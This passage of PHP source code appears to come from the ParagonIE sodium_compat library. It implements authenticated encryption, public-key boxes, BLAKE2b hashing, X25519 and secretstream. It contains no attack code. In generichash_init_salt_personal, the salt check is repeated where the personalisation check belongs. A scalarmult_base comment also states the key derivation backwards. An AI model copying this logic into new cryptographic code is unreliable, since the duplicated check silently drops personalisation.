        $nonceLast = "\x00\x00\x00\x00" .
            ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8);

        return self::aead_chacha20poly1305_ietf_decrypt($message, $ad, $nonceLast, $subkey);
    }

    /**
     * AEAD Encryption with ChaCha20-Poly1305, IETF mode (96-bit nonce)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_xchacha20poly1305_ietf_encrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        $subkey = ParagonIE_Sodium_Core32_HChaCha20::hChaCha20(
            ParagonIE_Sodium_Core32_Util::substr($nonce, 0, 16),
            $key
        );
        $nonceLast = "\x00\x00\x00\x00" .
            ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8);

        return self::aead_chacha20poly1305_ietf_encrypt($message, $ad, $nonceLast, $subkey);
    }

    /**
     * HMAC-SHA-512-256 (a.k.a. the leftmost 256 bits of HMAC-SHA-512)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $key
     * @return string
     * @throws TypeError
     */
    public static function auth($message, $key)
    {
        return ParagonIE_Sodium_Core32_Util::substr(
            hash_hmac('sha512', $message, $key, true),
            0,
            32
        );
    }

    /**
     * HMAC-SHA-512-256 validation. Constant-time via hash_equals().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $mac
     * @param string $message
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function auth_verify($mac, $message, $key)
    {
        return ParagonIE_Sodium_Core32_Util::hashEquals(
            $mac,
            self::auth($message, $key)
        );
    }

    /**
     * X25519 key exchange followed by XSalsa20Poly1305 symmetric encryption
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $plaintext
     * @param string $nonce
     * @param string $keypair
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box($plaintext, $nonce, $keypair)
    {
        return self::secretbox(
            $plaintext,
            $nonce,
            self::box_beforenm(
                self::box_secretkey($keypair),
                self::box_publickey($keypair)
            )
        );
    }

    /**
     * X25519-XSalsa20-Poly1305 with one ephemeral X25519 keypair.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $publicKey
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_seal($message, $publicKey)
    {
        /** @var string $ephemeralKeypair */
        $ephemeralKeypair = self::box_keypair();

        /** @var string $ephemeralSK */
        $ephemeralSK = self::box_secretkey($ephemeralKeypair);

        /** @var string $ephemeralPK */
        $ephemeralPK = self::box_publickey($ephemeralKeypair);

        /** @var string $nonce */
        $nonce = self::generichash(
            $ephemeralPK . $publicKey,
            '',
            24
        );

        /** @var string $keypair - The combined keypair used in crypto_box() */
        $keypair = self::box_keypair_from_secretkey_and_publickey($ephemeralSK, $publicKey);

        /** @var string $ciphertext Ciphertext + MAC from crypto_box */
        $ciphertext = self::box($message, $nonce, $keypair);
        try {
            ParagonIE_Sodium_Compat::memzero($ephemeralKeypair);
            ParagonIE_Sodium_Compat::memzero($ephemeralSK);
            ParagonIE_Sodium_Compat::memzero($nonce);
        } catch (SodiumException $ex) {
            $ephemeralKeypair = null;
            $ephemeralSK = null;
            $nonce = null;
        }
        return $ephemeralPK . $ciphertext;
    }

    /**
     * Opens a message encrypted via box_seal().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $keypair
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_seal_open($message, $keypair)
    {
        /** @var string $ephemeralPK */
        $ephemeralPK = ParagonIE_Sodium_Core32_Util::substr($message, 0, 32);

        /** @var string $ciphertext (ciphertext + MAC) */
        $ciphertext = ParagonIE_Sodium_Core32_Util::substr($message, 32);

        /** @var string $secretKey */
        $secretKey = self::box_secretkey($keypair);

        /** @var string $publicKey */
        $publicKey = self::box_publickey($keypair);

        /** @var string $nonce */
        $nonce = self::generichash(
            $ephemeralPK . $publicKey,
            '',
            24
        );

        /** @var string $keypair */
        $keypair = self::box_keypair_from_secretkey_and_publickey($secretKey, $ephemeralPK);

        /** @var string $m */
        $m = self::box_open($ciphertext, $nonce, $keypair);
        try {
            ParagonIE_Sodium_Compat::memzero($secretKey);
            ParagonIE_Sodium_Compat::memzero($ephemeralPK);
            ParagonIE_Sodium_Compat::memzero($nonce);
        } catch (SodiumException $ex) {
            $secretKey = null;
            $ephemeralPK = null;
            $nonce = null;
        }
        return $m;
    }

    /**
     * Used by crypto_box() to get the crypto_secretbox() key.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $sk
     * @param string $pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_beforenm($sk, $pk)
    {
        return ParagonIE_Sodium_Core32_HSalsa20::hsalsa20(
            str_repeat("\x00", 16),
            self::scalarmult($sk, $pk)
        );
    }

    /**
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @return string
     * @throws Exception
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_keypair()
    {
        $sKey = random_bytes(32);
        $pKey = self::scalarmult_base($sKey);
        return $sKey . $pKey;
    }

    /**
     * @param string $seed
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_seed_keypair($seed)
    {
        $sKey = ParagonIE_Sodium_Core32_Util::substr(
            hash('sha512', $seed, true),
            0,
            32
        );
        $pKey = self::scalarmult_base($sKey);
        return $sKey . $pKey;
    }

    /**
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $sKey
     * @param string $pKey
     * @return string
     * @throws TypeError
     */
    public static function box_keypair_from_secretkey_and_publickey($sKey, $pKey)
    {
        return ParagonIE_Sodium_Core32_Util::substr($sKey, 0, 32) .
            ParagonIE_Sodium_Core32_Util::substr($pKey, 0, 32);
    }

    /**
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $keypair
     * @return string
     * @throws RangeException
     * @throws TypeError
     */
    public static function box_secretkey($keypair)
    {
        if (ParagonIE_Sodium_Core32_Util::strlen($keypair) !== 64) {
            throw new RangeException(
                'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES bytes long.'
            );
        }
        return ParagonIE_Sodium_Core32_Util::substr($keypair, 0, 32);
    }

    /**
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $keypair
     * @return string
     * @throws RangeException
     * @throws TypeError
     */
    public static function box_publickey($keypair)
    {
        if (ParagonIE_Sodium_Core32_Util::strlen($keypair) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES) {
            throw new RangeException(
                'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES bytes long.'
            );
        }
        return ParagonIE_Sodium_Core32_Util::substr($keypair, 32, 32);
    }

    /**
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $sKey
     * @return string
     * @throws RangeException
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_publickey_from_secretkey($sKey)
    {
        if (ParagonIE_Sodium_Core32_Util::strlen($sKey) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_SECRETKEYBYTES) {
            throw new RangeException(
                'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_SECRETKEYBYTES bytes long.'
            );
        }
        return self::scalarmult_base($sKey);
    }

    /**
     * Decrypt a message encrypted with box().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $ciphertext
     * @param string $nonce
     * @param string $keypair
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_open($ciphertext, $nonce, $keypair)
    {
        return self::secretbox_open(
            $ciphertext,
            $nonce,
            self::box_beforenm(
                self::box_secretkey($keypair),
                self::box_publickey($keypair)
            )
        );
    }

    /**
     * Calculate a BLAKE2b hash.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string|null $key
     * @param int $outlen
     * @return string
     * @throws RangeException
     * @throws SodiumException
     * @throws TypeError
     */
    public static function generichash($message, $key = '', $outlen = 32)
    {
        // This ensures that ParagonIE_Sodium_Core32_BLAKE2b::$iv is initialized
        ParagonIE_Sodium_Core32_BLAKE2b::pseudoConstructor();

        $k = null;
        if (!empty($key)) {
            /** @var SplFixedArray $k */
            $k = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($key);
            if ($k->count() > ParagonIE_Sodium_Core32_BLAKE2b::KEYBYTES) {
                throw new RangeException('Invalid key size');
            }
        }

        /** @var SplFixedArray $in */
        $in = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($message);

        /** @var SplFixedArray $ctx */
        $ctx = ParagonIE_Sodium_Core32_BLAKE2b::init($k, $outlen);
        ParagonIE_Sodium_Core32_BLAKE2b::update($ctx, $in, $in->count());

        /** @var SplFixedArray $out */
        $out = new SplFixedArray($outlen);
        $out = ParagonIE_Sodium_Core32_BLAKE2b::finish($ctx, $out);

        /** @var array<int, int> */
        $outArray = $out->toArray();
        return ParagonIE_Sodium_Core32_Util::intArrayToString($outArray);
    }

    /**
     * Finalize a BLAKE2b hashing context, returning the hash.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $ctx
     * @param int $outlen
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function generichash_final($ctx, $outlen = 32)
    {
        if (!is_string($ctx)) {
            throw new TypeError('Context must be a string');
        }
        $out = new SplFixedArray($outlen);

        /** @var SplFixedArray $context */
        $context = ParagonIE_Sodium_Core32_BLAKE2b::stringToContext($ctx);

        /** @var SplFixedArray $out */
        $out = ParagonIE_Sodium_Core32_BLAKE2b::finish($context, $out);

        /** @var array<int, int> */
        $outArray = $out->toArray();
        return ParagonIE_Sodium_Core32_Util::intArrayToString($outArray);
    }

    /**
     * Initialize a hashing context for BLAKE2b.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $key
     * @param int $outputLength
     * @return string
     * @throws RangeException
     * @throws SodiumException
     * @throws TypeError
     */
    public static function generichash_init($key = '', $outputLength = 32)
    {
        // This ensures that ParagonIE_Sodium_Core32_BLAKE2b::$iv is initialized
        ParagonIE_Sodium_Core32_BLAKE2b::pseudoConstructor();

        $k = null;
        if (!empty($key)) {
            $k = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($key);
            if ($k->count() > ParagonIE_Sodium_Core32_BLAKE2b::KEYBYTES) {
                throw new RangeException('Invalid key size');
            }
        }

        /** @var SplFixedArray $ctx */
        $ctx = ParagonIE_Sodium_Core32_BLAKE2b::init($k, $outputLength);

        return ParagonIE_Sodium_Core32_BLAKE2b::contextToString($ctx);
    }

    /**
     * Initialize a hashing context for BLAKE2b.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $key
     * @param int $outputLength
     * @param string $salt
     * @param string $personal
     * @return string
     * @throws RangeException
     * @throws SodiumException
     * @throws TypeError
     */
    public static function generichash_init_salt_personal(
        $key = '',
        $outputLength = 32,
        $salt = '',
        $personal = ''
    ) {
        // This ensures that ParagonIE_Sodium_Core32_BLAKE2b::$iv is initialized
        ParagonIE_Sodium_Core32_BLAKE2b::pseudoConstructor();

        $k = null;
        if (!empty($key)) {
            $k = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($key);
            if ($k->count() > ParagonIE_Sodium_Core32_BLAKE2b::KEYBYTES) {
                throw new RangeException('Invalid key size');
            }
        }
        if (!empty($salt)) {
            $s = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($salt);
        } else {
            $s = null;
        }
        if (!empty($salt)) {
            $p = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($personal);
        } else {
            $p = null;
        }

        /** @var SplFixedArray $ctx */
        $ctx = ParagonIE_Sodium_Core32_BLAKE2b::init($k, $outputLength, $s, $p);

        return ParagonIE_Sodium_Core32_BLAKE2b::contextToString($ctx);
    }

    /**
     * Update a hashing context for BLAKE2b with $message
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $ctx
     * @param string $message
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function generichash_update($ctx, $message)
    {
        // This ensures that ParagonIE_Sodium_Core32_BLAKE2b::$iv is initialized
        ParagonIE_Sodium_Core32_BLAKE2b::pseudoConstructor();

        /** @var SplFixedArray $context */
        $context = ParagonIE_Sodium_Core32_BLAKE2b::stringToContext($ctx);

        /** @var SplFixedArray $in */
        $in = ParagonIE_Sodium_Core32_BLAKE2b::stringToSplFixedArray($message);

        ParagonIE_Sodium_Core32_BLAKE2b::update($context, $in, $in->count());

        return ParagonIE_Sodium_Core32_BLAKE2b::contextToString($context);
    }

    /**
     * Libsodium's crypto_kx().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $my_sk
     * @param string $their_pk
     * @param string $client_pk
     * @param string $server_pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function keyExchange($my_sk, $their_pk, $client_pk, $server_pk)
    {
        return self::generichash(
            self::scalarmult($my_sk, $their_pk) .
            $client_pk .
            $server_pk
        );
    }

    /**
     * ECDH over Curve25519
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $sKey
     * @param string $pKey
     * @return string
     *
     * @throws SodiumException
     * @throws TypeError
     */
    public static function scalarmult($sKey, $pKey)
    {
        $q = ParagonIE_Sodium_Core32_X25519::crypto_scalarmult_curve25519_ref10($sKey, $pKey);
        self::scalarmult_throw_if_zero($q);
        return $q;
    }

    /**
     * ECDH over Curve25519, using the basepoint.
     * Used to get a secret key from a public key.
     *
     * @param string $secret
     * @return string
     *
     * @throws SodiumException
     * @throws TypeError
     */
    public static function scalarmult_base($secret)
    {
        $q = ParagonIE_Sodium_Core32_X25519::crypto_scalarmult_curve25519_ref10_base($secret);
        self::scalarmult_throw_if_zero($q);
        return $q;
    }

    /**
     * This throws an Error if a zero public key was passed to the function.
     *
     * @param string $q
     * @return void
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function scalarmult_throw_if_zero($q)
    {
        $d = 0;
        for ($i = 0; $i < self::box_curve25519xsalsa20poly1305_SECRETKEYBYTES; ++$i) {
            $d |= ParagonIE_Sodium_Core32_Util::chrToInt($q[$i]);
        }

        /* branch-free variant of === 0 */
        if (-(1 & (($d - 1) >> 8))) {
            throw new SodiumException('Zero public key is not allowed');
        }
    }

    /**
     * XSalsa20-Poly1305 authenticated symmetric-key encryption.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $plaintext
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox($plaintext, $nonce, $key)
    {
        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $block0 */
        $block0 = str_repeat("\x00", 32);

        /** @var int $mlen - Length of the plaintext message */
        $mlen = ParagonIE_Sodium_Core32_Util::strlen($plaintext);
        $mlen0 = $mlen;
        if ($mlen0 > 64 - self::secretbox_xsalsa20poly1305_ZEROBYTES) {
            $mlen0 = 64 - self::secretbox_xsalsa20poly1305_ZEROBYTES;
        }
        $block0 .= ParagonIE_Sodium_Core32_Util::substr($plaintext, 0, $mlen0);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor(
            $block0,
            ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8),
            $subkey
        );

        /** @var string $c */
        $c = ParagonIE_Sodium_Core32_Util::substr(
            $block0,
            self::secretbox_xsalsa20poly1305_ZEROBYTES
        );
        if ($mlen > $mlen0) {
            $c .= ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic(
                ParagonIE_Sodium_Core32_Util::substr(
                    $plaintext,
                    self::secretbox_xsalsa20poly1305_ZEROBYTES
                ),
                ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8),
                1,
                $subkey
            );
        }
        $state = new ParagonIE_Sodium_Core32_Poly1305_State(
            ParagonIE_Sodium_Core32_Util::substr(
                $block0,
                0,
                self::onetimeauth_poly1305_KEYBYTES
            )
        );
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
            ParagonIE_Sodium_Compat::memzero($subkey);
        } catch (SodiumException $ex) {
            $block0 = null;
            $subkey = null;
        }

        $state->update($c);

        /** @var string $c - MAC || ciphertext */
        $c = $state->finish() . $c;
        unset($state);

        return $c;
    }

    /**
     * Decrypt a ciphertext generated via secretbox().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $ciphertext
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox_open($ciphertext, $nonce, $key)
    {
        /** @var string $mac */
        $mac = ParagonIE_Sodium_Core32_Util::substr(
            $ciphertext,
            0,
            self::secretbox_xsalsa20poly1305_MACBYTES
        );

        /** @var string $c */
        $c = ParagonIE_Sodium_Core32_Util::substr(
            $ciphertext,
            self::secretbox_xsalsa20poly1305_MACBYTES
        );

        /** @var int $clen */
        $clen = ParagonIE_Sodium_Core32_Util::strlen($c);

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20(
            64,
            ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8),
            $subkey
        );
        $verified = ParagonIE_Sodium_Core32_Poly1305::onetimeauth_verify(
            $mac,
            $c,
            ParagonIE_Sodium_Core32_Util::substr($block0, 0, 32)
        );
        if (!$verified) {
            try {
                ParagonIE_Sodium_Compat::memzero($subkey);
            } catch (SodiumException $ex) {
                $subkey = null;
            }
            throw new SodiumException('Invalid MAC');
        }

        /** @var string $m - Decrypted message */
        $m = ParagonIE_Sodium_Core32_Util::xorStrings(
            ParagonIE_Sodium_Core32_Util::substr($block0, self::secretbox_xsalsa20poly1305_ZEROBYTES),
            ParagonIE_Sodium_Core32_Util::substr($c, 0, self::secretbox_xsalsa20poly1305_ZEROBYTES)
        );
        if ($clen > self::secretbox_xsalsa20poly1305_ZEROBYTES) {
            // We had more than 1 block, so let's continue to decrypt the rest.
            $m .= ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic(
                ParagonIE_Sodium_Core32_Util::substr(
                    $c,
                    self::secretbox_xsalsa20poly1305_ZEROBYTES
                ),
                ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8),
                1,
                (string) $subkey
            );
        }
        return $m;
    }

    /**
     * XChaCha20-Poly1305 authenticated symmetric-key encryption.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $plaintext
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox_xchacha20poly1305($plaintext, $nonce, $key)
    {
        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core32_HChaCha20::hChaCha20(
            ParagonIE_Sodium_Core32_Util::substr($nonce, 0, 16),
            $key
        );
        $nonceLast = ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8);

        /** @var string $block0 */
        $block0 = str_repeat("\x00", 32);

        /** @var int $mlen - Length of the plaintext message */
        $mlen = ParagonIE_Sodium_Core32_Util::strlen($plaintext);
        $mlen0 = $mlen;
        if ($mlen0 > 64 - self::secretbox_xchacha20poly1305_ZEROBYTES) {
            $mlen0 = 64 - self::secretbox_xchacha20poly1305_ZEROBYTES;
        }
        $block0 .= ParagonIE_Sodium_Core32_Util::substr($plaintext, 0, $mlen0);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core32_ChaCha20::streamXorIc(
            $block0,
            $nonceLast,
            $subkey
        );

        /** @var string $c */
        $c = ParagonIE_Sodium_Core32_Util::substr(
            $block0,
            self::secretbox_xchacha20poly1305_ZEROBYTES
        );
        if ($mlen > $mlen0) {
            $c .= ParagonIE_Sodium_Core32_ChaCha20::streamXorIc(
                ParagonIE_Sodium_Core32_Util::substr(
                    $plaintext,
                    self::secretbox_xchacha20poly1305_ZEROBYTES
                ),
                $nonceLast,
                $subkey,
                ParagonIE_Sodium_Core32_Util::store64_le(1)
            );
        }
        $state = new ParagonIE_Sodium_Core32_Poly1305_State(
            ParagonIE_Sodium_Core32_Util::substr(
                $block0,
                0,
                self::onetimeauth_poly1305_KEYBYTES
            )
        );
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
            ParagonIE_Sodium_Compat::memzero($subkey);
        } catch (SodiumException $ex) {
            $block0 = null;
            $subkey = null;
        }

        $state->update($c);

        /** @var string $c - MAC || ciphertext */
        $c = $state->finish() . $c;
        unset($state);

        return $c;
    }

    /**
     * Decrypt a ciphertext generated via secretbox_xchacha20poly1305().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $ciphertext
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function secretbox_xchacha20poly1305_open($ciphertext, $nonce, $key)
    {
        /** @var string $mac */
        $mac = ParagonIE_Sodium_Core32_Util::substr(
            $ciphertext,
            0,
            self::secretbox_xchacha20poly1305_MACBYTES
        );

        /** @var string $c */
        $c = ParagonIE_Sodium_Core32_Util::substr(
            $ciphertext,
            self::secretbox_xchacha20poly1305_MACBYTES
        );

        /** @var int $clen */
        $clen = ParagonIE_Sodium_Core32_Util::strlen($c);

        /** @var string $subkey */
        $subkey = ParagonIE_Sodium_Core32_HChaCha20::hchacha20($nonce, $key);

        /** @var string $block0 */
        $block0 = ParagonIE_Sodium_Core32_ChaCha20::stream(
            64,
            ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8),
            $subkey
        );
        $verified = ParagonIE_Sodium_Core32_Poly1305::onetimeauth_verify(
            $mac,
            $c,
            ParagonIE_Sodium_Core32_Util::substr($block0, 0, 32)
        );

        if (!$verified) {
            try {
                ParagonIE_Sodium_Compat::memzero($subkey);
            } catch (SodiumException $ex) {
                $subkey = null;
            }
            throw new SodiumException('Invalid MAC');
        }

        /** @var string $m - Decrypted message */
        $m = ParagonIE_Sodium_Core32_Util::xorStrings(
            ParagonIE_Sodium_Core32_Util::substr($block0, self::secretbox_xchacha20poly1305_ZEROBYTES),
            ParagonIE_Sodium_Core32_Util::substr($c, 0, self::secretbox_xchacha20poly1305_ZEROBYTES)
        );

        if ($clen > self::secretbox_xchacha20poly1305_ZEROBYTES) {
            // We had more than 1 block, so let's continue to decrypt the rest.
            $m .= ParagonIE_Sodium_Core32_ChaCha20::streamXorIc(
                ParagonIE_Sodium_Core32_Util::substr(
                    $c,
                    self::secretbox_xchacha20poly1305_ZEROBYTES
                ),
                ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8),
                (string) $subkey,
                ParagonIE_Sodium_Core32_Util::store64_le(1)
            );
        }
        return $m;
    }

    /**
     * @param string $key
     * @return array<int, string> Returns a state and a header.
     * @throws Exception
     * @throws SodiumException
     */
    public static function secretstream_xchacha20poly1305_init_push($key)
    {
        # randombytes_buf(out, crypto_secretstream_xchacha20poly1305_HEADERBYTES);
        $out = random_bytes(24);

        # crypto_core_hchacha20(state->k, out, k, NULL);
        $subkey = ParagonIE_Sodium_Core32_HChaCha20::hChaCha20($out, $key);
        $state = new ParagonIE_Sodium_Core32_SecretStream_State(
            $subkey,
            ParagonIE_Sodium_Core32_Util::substr($out, 16, 8) . str_repeat("\0", 4)
        );

        # _crypto_secretstream_xchacha20poly1305_counter_reset(state);
        $state->counterReset();

        # memcpy(STATE_INONCE(state), out + crypto_core_hchacha20_INPUTBYTES,
        #        crypto_secretstream_xchacha20poly1305_INONCEBYTES);
        # memset(state->_pad, 0, sizeof state->_pad);
        return array(
            $state->toString(),
            $out
        );
    }

    /**
     * @param string $key
     * @param string $header
     * @return string Returns a state.
     * @throws Exception
     */
    public static function secretstream_xchacha20poly1305_init_pull($key, $header)
    {
        # crypto_core_hchacha20(state->k, in, k, NULL);
        $subkey = ParagonIE_Sodium_Core32_HChaCha20::hChaCha20(
            ParagonIE_Sodium_Core32_Util::substr($header, 0, 16),
            $key
        );
        $state = new ParagonIE_Sodium_Core32_SecretStream_State(
            $subkey,
            ParagonIE_Sodium_Core32_Util::substr($header, 16)
        );
        $state->counterReset();
        # memcpy(STATE_INONCE(state), in + crypto_core_hchacha20_INPUTBYTES,
        #     crypto_secretstream_xchacha20poly1305_INONCEBYTES);
        # memset(state->_pad, 0, sizeof state->_pad);
        # return 0;
        return $state->toString();
    }

    /**
     * @param string $state
     * @param string $msg
     * @param string $aad
     * @param int $tag
     * @return string
     * @throws SodiumException
     */
    public static function secretstream_xchacha20poly1305_push(&$state, $msg, $aad = '', $tag = 0)
    {
        $st = ParagonIE_Sodium_Core32_SecretStream_State::fromString($state);
        # crypto_onetimeauth_poly1305_state poly1305_state;
        # unsigned char                     block[64U];
        # unsigned char                     slen[8U];
        # unsigned char                    *c;
        # unsigned char                    *mac;

        $msglen = ParagonIE_Sodium_Core32_Util::strlen($msg);
        $aadlen = ParagonIE_Sodium_Core32_Util::strlen($aad);

        if ((($msglen + 63) >> 6) > 0xfffffffe) {
            throw new SodiumException(
                'message cannot be larger than SODIUM_CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX bytes'
            );
        }

        # if (outlen_p != NULL) {
        #     *outlen_p = 0U;
        # }
        # if (mlen > crypto_secretstream_xchacha20poly1305_MESSAGEBYTES_MAX) {
        #     sodium_misuse();
        # }

        # crypto_stream_chacha20_ietf(block, sizeof block, state->nonce, state->k);
        # crypto_onetimeauth_poly1305_init(&poly1305_state, block);
        # sodium_memzero(block, sizeof block);
        $auth = new ParagonIE_Sodium_Core32_Poly1305_State(
            ParagonIE_Sodium_Core32_ChaCha20::ietfStream(32, $st->getCombinedNonce(), $st->getKey())
        );

        # crypto_onetimeauth_poly1305_update(&poly1305_state, ad, adlen);
        $auth->update($aad);

        # crypto_onetimeauth_poly1305_update(&poly1305_state, _pad0,
        #     (0x10 - adlen) & 0xf);
        $auth->update(str_repeat("\0", ((0x10 - $aadlen) & 0xf)));

        # memset(block, 0, sizeof block);
        # block[0] = tag;
        # crypto_stream_chacha20_ietf_xor_ic(block, block, sizeof block,
        #                                    state->nonce, 1U, state->k);
        $block = ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc(
            ParagonIE_Sodium_Core32_Util::intToChr($tag) . str_repeat("\0", 63),
            $st->getCombinedNonce(),
            $st->getKey(),
            ParagonIE_Sodium_Core32_Util::store64_le(1)
        );

        # crypto_onetimeauth_poly1305_update(&poly1305_state, block, sizeof block);
        $auth->update($block);

        # out[0] = block[0];
        $out = $block[0];
        # c = out + (sizeof tag);
        # crypto_stream_chacha20_ietf_xor_ic(c, m, mlen, state->nonce, 2U, state->k);
        $cipher = ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc(
            $msg,
            $st->getCombinedNonce(),
            $st->getKey(),
            ParagonIE_Sodium_Core32_Util::store64_le(2)
        );

        # crypto_onetimeauth_poly1305_update(&poly1305_state, c, mlen);
        $auth->update($cipher);

        $out .= $cipher;
        unset($cipher);

        # crypto_onetimeauth_poly1305_update
        # (&poly1305_state, _pad0, (0x10 - (sizeof block) + mlen) & 0xf);
        $auth->update(str_repeat("\0", ((0x10 - 64 + $msglen) & 0xf)));

        # STORE64_LE(slen, (uint64_t) adlen);
        $slen = ParagonIE_Sodium_Core32_Util::store64_le($aadlen);

        # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen);
        $auth->update($slen);

        # STORE64_LE(slen, (sizeof block) + mlen);
        $slen = ParagonIE_Sodium_Core32_Util::store64_le(64 + $msglen);

        # crypto_onetimeauth_poly1305_update(&poly1305_state, slen, sizeof slen);
        $auth->update($slen);

        # mac = c + mlen;
        # crypto_onetimeauth_poly1305_final(&poly1305_state, mac);
        $mac = $auth->finish();
        $out .= $mac;

        # sodium_memzero(&poly1305_state, sizeof poly1305_state);
        unset($auth);


        # XOR_BUF(STATE_INONCE(state), mac,
        #     crypto_secretstream_xchacha20poly1305_INONCEBYTES);
        $st->xorNonce($mac);

        # sodium_increment(STATE_COUNTER(state),
        #     crypto_secretstream_xchacha20poly1305_COUNTERBYTES);
        $st->incrementCounter();
        // Overwrite by reference:
        $state = $st->toString();

        /** @var bool $rekey */
        $rekey = ($tag & ParagonIE_Sodium_Compat::CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY) !== 0;
        # if ((tag & crypto_secretstream_xchacha20poly1305_TAG_REKEY) != 0 ||
        #     sodium_is_zero(STATE_COUNTER(state),
        #         crypto_secretstream_xchacha20poly1305_COUNTERBYTES)) {
        #     crypto_secretstream_xchacha20poly1305_rekey(state);
        # }
        if ($rekey || $st->needsRekey()) {
            // DO REKEY
            self::secretstream_xchacha20poly1305_rekey($state);
        }
        # if (outlen_p != NULL) {
        #     *outlen_p = crypto_secretstream_xchacha20poly1305_ABYTES + mlen;
        # }
        return $out;
    }

    /**
     * @param string $state
     * @param string $cipher
     * @param string $aad
     * @return bool|array{0: string, 1: int}
     * @throws SodiumException
     */
    public static function secretstream_xchacha20poly1305_pull(&$state, $cipher, $aad = '')
    {
        $st = ParagonIE_Sodium_Core32_SecretStream_State::fromString($state);

